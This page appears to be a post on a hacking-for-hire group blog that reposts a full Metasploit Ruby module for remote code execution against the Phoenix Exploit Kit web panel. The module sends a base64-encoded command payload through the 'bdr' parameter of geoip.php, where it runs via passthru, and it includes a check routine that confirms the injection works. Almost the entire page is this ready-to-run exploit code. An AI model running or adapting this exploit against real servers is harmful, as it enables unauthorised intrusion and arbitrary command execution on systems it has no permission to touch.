Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86370458

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Phoenix Exploit Kit Remote Code Execution',
      'Description'    => %q{
        This module exploits a Remote Code Execution in the web panel of Phoenix Exploit Kit via the geoip.php. The
        Phoenix Exploit Kit is a popular commercial crimeware tool that probes the browser of the visitor for the
        presence of outdated and insecure versions of browser plugins like Java, and Adobe Flash and Reader which
        then silently installs malware.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'CrashBandicot @DosPerl', #initial discovery
          'Jay Turla <@shipcod3>', #msf module
        ],
      'References'     =>
        [
          [ 'EDB', '40047' ],
          [ 'URL', 'http://krebsonsecurity.com/tag/phoenix-exploit-kit/' ], # description of Phoenix Exploit Kit
          [ 'URL', 'https://www.pwnmalw.re/Exploit%20Pack/phoenix' ],
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'    => 200,
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd'
            }
        },
      'Platform'       => %w{ unix win },
      'Arch'           => ARCH_CMD,
      'Targets'        =>
        [
          ['Phoenix Exploit Kit / Unix', { 'Platform' => 'unix' } ],
          ['Phoenix Exploit Kit / Windows', { 'Platform' => 'win' } ]
        ],
      'DisclosureDate' => 'Jul 01 2016',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The path of geoip.php which is vulnerable to RCE', '/Phoenix/includes/geoip.php']),
      ],self.class)
  end

  def check
    test = Rex::Text.rand_text_alpha(8)
    res = http_send_command("echo #{test};")
    if res && res.body.include?(test)
      return Exploit::CheckCode::Vulnerable
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    encoded = Rex::Text.encode_base64(payload.encoded)
    http_send_command("passthru(base64_decode(\"#{encoded}\"));")
  end

  def http_send_command(cmd)
    send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path),
      'vars_get' => {
        'bdr' => cmd
      }
    })
  end
end